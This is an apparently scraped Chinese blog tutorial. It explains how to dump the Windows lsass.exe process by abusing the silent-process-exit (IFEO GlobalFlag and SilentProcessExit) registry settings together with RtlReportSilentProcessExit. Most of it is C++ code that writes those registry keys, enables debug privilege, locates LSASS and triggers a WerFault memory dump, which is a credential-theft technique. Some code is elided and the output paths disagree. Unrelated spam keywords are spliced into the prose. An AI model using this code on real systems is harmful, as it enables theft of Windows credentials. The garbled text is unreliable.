电脑教程

一起聊聊静默退出与Dump

时间:2010-12-5 17:23:32  作者:数据库   来源:数据库  查看:  评论:0
内容摘要:前言由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。本文仅用于交流学习)基础知识我们先来看看什么是静默退出,在Windows7开始,

前言

由于传播、起聊利用此文所提供的聊静信息而造成的任何直接或者间接的后果及损失 ,均由使用者本人负责 ,默退文章作者不为此承担任何责任 。起聊(本文仅用于交流学习)

基础知识

我们先来看看什么是聊静静默退出 ,在Windows7开始 ,默退就可以设置对指定进程的起聊静默退出(官方术语是"无提示进程退出") 。监视功能不会检测进程最后一个线程退出时发生的聊静正常进程终止 ,监视功能不会检测由内核模式代码启动的默退进程终止 。免费模板

如果我们要对某进程使用静默退出 ,起聊我们可以在注册表中如下设置 ,聊静将GlobalFlag值设置为0x200 ,默退当然我们需要先设置ProcessName项指定进程

复制HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName

HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag1.2.

我们还可以配置当进程以无提示方式退出时要执行的起聊操作 。可以配置通知 、聊静事件日志记录和转储文件的默退创建 ,因为我们要Dump ,因此我们重点关心转储文件的创建。

这里有全局配置与应用程序设置两种全局设置:适用于静默退出监视的所有进程,在注册表中的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit应用程序设置:设用于单个进程的设置,亿华云在注册中设置的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName

我们这里选择应用程序设置即可,没必要使用全局的设置 。还有很多设置 ,但是这里我们只看我们需要使用的 ,所有我们来看看报告模式 ,大致就是检测到进程静默退出后 ,执行的操作(但是此设置不能用于全局设置)

ReportingMode有三个值可以设置,这里我们选择LOCAL_DUMP(0x2)

既然我们使用转储文件 ,那么还需要指定转储文件的高防服务器位置

LocalDumpFolder所对应的值即可我们转储文件所存放的位置 ,那对于我们的转储文件有没有大小的限制呢 ,默认情况下是没有限制的。

我们还需要看看转储类型

我们可以设置DumpType的值去指定我们需要转储的类型,上面图片可能看不太明白,这不影响,我们可以设置为2,为什么设置为2我们看看如下

然后就是模板下载最重要的一步了,如何使进程崩溃(lsass.exe进程崩溃的话会导致机器重启) ,显然真的让其崩溃肯定不可取 。我们可以利用RtlReportSilentProcessExit这个函数API,该API会与Windows错误报告服务(WerSvcGroup下的WerSvc)通信 ,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程 。但是调用此API不会导致进程退出 。所有这一步就解决了。源码下载

关于RtlReportSilentProcessExit函数的定义

现在应该思路很清晰了吧 ,我们可以写个简单的利用程序来帮助我们自动化Dump ,我们可以利用Windows API函数帮助我们去设置这些值,这里主要用到RegCreateKeyExW、RegSetValueExW,对于这两个函数的用法与用途 ,我们来简单的介绍一下

RegCreateKeyExW

该函数主要用于打开指定的注册表的项,如果不存在那么就创建,我们编写一个简单的程序来看看效果

复制#include <windows.h>#include <iostream>using namespace std;int main() { HKEY hKey \= HKEY\_CURRENT\_USER; LPCWSTR lpSubKey \= L"Software\\\\test"; HKEY phkResult \= NULL; DWORD Result \= NULL; RegCreateKeyExW(hKey, lpSubKey, 0, NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL, &phkResult, &Result); if (Result \== 0x00000001L) { cout << "\[+\] 密钥不存在且已创建" << endl; } else if (Result \== 0x00000002L) { cout << "\[+\] 密钥已存在" << endl; }

else

{ cout << "\[-\] RegCreateKeyExW Error" << endl; }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.

RegSetValueExW

该函数主要就是香港云服务器在指定的子项中设定指定的数值

复制#include <windows.h>#include <iostream>using namespace std;int main() { HKEY hKey \= HKEY\_CURRENT\_USER; LPCWSTR lpSubKey \= L"Software\\\\test"; HKEY phkResult \= NULL; LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, &phkResult); if (Open != ERROR\_SUCCESS) { cout << "\[-\] Not found" << endl; return 1; } cout << "\[+\] RegOpenKeyExW Success" << endl; DWORD Test\_Value \= 0x20; LSTATUS SetValye \= RegSetValueExW(phkResult, L"test", 0, REG\_DWORD, (const BYTE\*)&Test\_Value, sizeof(DWORD)); if (SetValye != ERROR\_SUCCESS) { cout << "\[-\] RegSetValueExW Error" << endl; return 1; } cout << "\[+\] RegSetValueExW Success" << endl;}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.

好了我们现在来总结一下步骤

RegCreateKeyExW、RegSetValueExW设置注册表中的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName 、HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlagRegCreateKeyExW、RegSetValueExW设置注册表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName设置好后获取目标进程  ,后调用RtlReportSilentProcessExit

代码实现

复制#include <windows.h>#include <iostream>#include <string>#include <tlhelp32.h>#include <processthreadsapi.h>#include <DbgHelp.h>using namespace std;typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) ( _In_ HANDLE ProcessHandle,

_In_ NTSTATUS ExitStatus

);RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread,

PULONG Enabled

);_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");int SeDebugPrivilege() { ULONG t; RtlAdjustPrivilege(20, TRUE, FALSE, &t); if (RtlAdjustPrivilege == NULL) { cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl; return 1; } cout << "[+] RtlAdjustPrivilege Success" << endl;}int GetPid() { HRESULT hr; DWORD pid; PROCESSENTRY32 ed; ed.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &ed) == TRUE) { while (Process32Next(snapshot, &ed) == TRUE) { if ((string)ed.szExeFile == "lsass.exe") { pid = ed.th32ProcessID; } } } CloseHandle(snapshot); return pid;}int RegeditSet() { HKEY hKey = HKEY_LOCAL_MACHINE; LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe"; HKEY phkResult; DWORD Result = NULL;

.............................................................

.............................................................

.............................................................

}

else

{ cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl; return 1; } DWORD ReportingMode = 0x2; WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp"; DWORD DumpType = 0x2;

.............................................................

.............................................................

.............................................................

if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder !=

ERROR_SUCCESS

|| RegSetValue_DumpType != ERROR_SUCCESS) { cout << "[-] RegSetValueExW has an Error " << endl; return 1; } cout << "[+] Success Setting All" << endl;}int main() { if (RegeditSet() == 1) { return 1; } DWORD pid = GetPid(); cout << "[+] Lsass Pid is:" << pid << endl; SeDebugPrivilege(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { cout << "[-] OpenProcess Error" << endl; return 1; } RtlReportSilentProcessExit(hProcess, 0); cout << "[+] Path:C:\\tmp" << endl;}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.99.100.101.102.103.104.

参考 :(建议详细阅读完)​​https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit​​

copyright © 2025 powered by 创站工坊  滇ICP备2023000592号-21sitemap